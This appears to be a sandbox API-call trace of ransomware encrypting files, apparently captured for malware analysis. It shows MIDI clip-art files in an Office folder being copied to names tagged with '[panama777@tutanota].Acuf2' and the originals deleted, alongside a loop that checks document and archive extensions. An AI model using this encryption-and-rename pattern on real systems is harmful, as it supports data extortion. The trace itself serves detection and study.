	[0254.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20
	[0254.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.933] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.933] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.933] GetLastError () returned 0x0
	[0254.933] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2645, lpOverlapped=0x0) returned 1
	[0254.940] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2650, lpOverlapped=0x0) returned 1
	[0254.941] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.941] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0254.941] SetEndOfFile (hFile=0x334) returned 1
	[0254.941] CloseHandle (hObject=0x334) returned 1
	[0254.941] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.942] SetEndOfFile (hFile=0x358) returned 1
	[0254.944] CloseHandle (hObject=0x358) returned 1
	[0254.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1
	[0254.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.944] lstrlenW (lpString=".doc") returned 4
	[0254.944] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.944] lstrlenW (lpString=".docx") returned 5
	[0254.944] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.945] lstrlenW (lpString=".pdf") returned 4
	[0254.945] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.945] lstrlenW (lpString=".xls") returned 4
	[0254.945] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.945] lstrlenW (lpString=".xlsx") returned 5
	[0254.945] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.945] lstrlenW (lpString=".ppt") returned 4
	[0254.945] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString=".zip") returned 4
	[0254.945] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.945] lstrlenW (lpString=".rar") returned 4
	[0254.945] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.945] lstrlenW (lpString=".bz2") returned 4
	[0254.945] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.945] lstrlenW (lpString=".7z") returned 3
	[0254.945] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString=".dbf") returned 4
	[0254.945] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString=".1cd") returned 4
	[0254.945] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString=".jpg") returned 4
	[0254.945] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.945] lstrlenW (lpString=".doc") returned 4
	[0254.946] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.946] lstrlenW (lpString=".docx") returned 5
	[0254.946] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.946] lstrlenW (lpString=".pdf") returned 4
	[0254.946] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.946] lstrlenW (lpString=".xls") returned 4
	[0254.946] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.946] lstrlenW (lpString=".xlsx") returned 5
	[0254.946] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.946] lstrlenW (lpString=".ppt") returned 4
	[0254.946] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.947] lstrlenW (lpString=".zip") returned 4
	[0254.947] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.947] lstrlenW (lpString=".rar") returned 4
	[0254.947] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.947] lstrlenW (lpString=".bz2") returned 4
	[0254.947] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.947] lstrlenW (lpString=".7z") returned 3
	[0254.947] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.947] lstrlenW (lpString=".dbf") returned 4
	[0254.947] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.947] lstrlenW (lpString=".1cd") returned 4
	[0254.947] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62
	[0254.947] lstrlenW (lpString=".jpg") returned 4
	[0254.947] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.947] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.947] lstrlenW (lpString="JNGLE_01.MID") returned 12
	[0254.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.948] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=5843) returned 1
	[0254.948] CloseHandle (hObject=0x358) returned 1
	[0254.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20
	[0254.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.948] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.948] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.949] GetLastError () returned 0x0
	[0254.949] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x16d3, lpOverlapped=0x0) returned 1
	[0254.952] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x16e0, lpOverlapped=0x0) returned 1
	[0254.953] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.953] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.953] SetEndOfFile (hFile=0x334) returned 1
	[0254.953] CloseHandle (hObject=0x334) returned 1
	[0254.953] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.953] SetEndOfFile (hFile=0x358) returned 1
	[0255.512] CloseHandle (hObject=0x358) returned 1
	[0255.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1
	[0255.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.623] lstrlenW (lpString=".doc") returned 4
	[0255.623] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.623] lstrlenW (lpString=".docx") returned 5
	[0255.623] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.623] lstrlenW (lpString=".pdf") returned 4
	[0255.623] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.623] lstrlenW (lpString=".xls") returned 4
	[0255.623] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.623] lstrlenW (lpString=".xlsx") returned 5
	[0255.623] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.623] lstrlenW (lpString=".ppt") returned 4
	[0255.623] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.623] lstrlenW (lpString=".zip") returned 4
	[0255.623] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.623] lstrlenW (lpString=".rar") returned 4
	[0255.623] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.623] lstrlenW (lpString=".bz2") returned 4
	[0255.623] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.623] lstrlenW (lpString=".7z") returned 3
	[0255.624] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString=".dbf") returned 4
	[0255.624] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString=".1cd") returned 4
	[0255.624] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString=".jpg") returned 4
	[0255.624] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString=".doc") returned 4
	[0255.624] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.624] lstrlenW (lpString=".docx") returned 5
	[0255.624] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.624] lstrlenW (lpString=".pdf") returned 4
	[0255.624] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.624] lstrlenW (lpString=".xls") returned 4
	[0255.624] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.624] lstrlenW (lpString=".xlsx") returned 5
	[0255.624] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.624] lstrlenW (lpString=".ppt") returned 4
	[0255.624] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.624] lstrlenW (lpString=".zip") returned 4
	[0255.624] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.624] lstrlenW (lpString=".rar") returned 4
	[0255.624] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.624] lstrlenW (lpString=".bz2") returned 4
	[0255.624] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.624] lstrlenW (lpString=".7z") returned 3
	[0255.625] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.625] lstrlenW (lpString=".dbf") returned 4
	[0255.625] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.625] lstrlenW (lpString=".1cd") returned 4
	[0255.625] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63
	[0255.625] lstrlenW (lpString=".jpg") returned 4
	[0255.625] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.625] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.625] lstrlenW (lpString="ROAD_01.MID") returned 11
	[0255.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0255.628] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=5983) returned 1
	[0255.628] CloseHandle (hObject=0x344) returned 1
	[0255.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20
	[0255.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.788] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.788] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.788] GetLastError () returned 0x0
	[0255.788] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x175f, lpOverlapped=0x0) returned 1
	[0255.805] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x1760, lpOverlapped=0x0) returned 1
	[0255.806] ReadFile (in: hFile=0x2a4, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.806] WriteFile (in: hFile=0x320, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0255.806] SetEndOfFile (hFile=0x320) returned 1
	[0255.806] CloseHandle (hObject=0x320) returned 1
	[0255.806] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.806] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.808] CloseHandle (hObject=0x2a4) returned 1
	[0255.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1
	[0255.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.827] lstrlenW (lpString=".doc") returned 4
	[0255.827] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.827] lstrlenW (lpString=".docx") returned 5
	[0255.827] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.827] lstrlenW (lpString=".pdf") returned 4
	[0255.827] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.827] lstrlenW (lpString=".xls") returned 4
	[0255.827] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.827] lstrlenW (lpString=".xlsx") returned 5
	[0255.827] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.827] lstrlenW (lpString=".ppt") returned 4
	[0255.827] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.827] lstrlenW (lpString=".zip") returned 4
	[0255.827] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.828] lstrlenW (lpString=".rar") returned 4
	[0255.828] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.828] lstrlenW (lpString=".bz2") returned 4
	[0255.828] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.828] lstrlenW (lpString=".7z") returned 3
	[0255.828] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.828] lstrlenW (lpString=".dbf") returned 4
	[0255.828] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.828] lstrlenW (lpString=".1cd") returned 4
	[0255.828] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.828] lstrlenW (lpString=".jpg") returned 4
	[0255.828] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.828] lstrlenW (lpString=".doc") returned 4
	[0255.828] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.828] lstrlenW (lpString=".docx") returned 5
	[0255.828] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.828] lstrlenW (lpString=".pdf") returned 4
	[0255.828] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.828] lstrlenW (lpString=".xls") returned 4
	[0255.828] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.828] lstrlenW (lpString=".xlsx") returned 5
	[0255.828] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.829] lstrlenW (lpString=".ppt") returned 4
	[0255.829] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.829] lstrlenW (lpString=".zip") returned 4
	[0255.829] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.829] lstrlenW (lpString=".rar") returned 4
	[0255.829] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.829] lstrlenW (lpString=".bz2") returned 4
	[0255.829] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.829] lstrlenW (lpString=".7z") returned 3
	[0255.829] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.829] lstrlenW (lpString=".dbf") returned 4
	[0255.829] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.829] lstrlenW (lpString=".1cd") returned 4
	[0255.829] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62
	[0255.829] lstrlenW (lpString=".jpg") returned 4
	[0255.829] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.829] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.829] lstrlenW (lpString="SCHOL_02.MID") returned 12
	[0255.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.844] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=5058) returned 1
	[0255.844] CloseHandle (hObject=0x28c) returned 1
	[0255.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20
	[0255.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
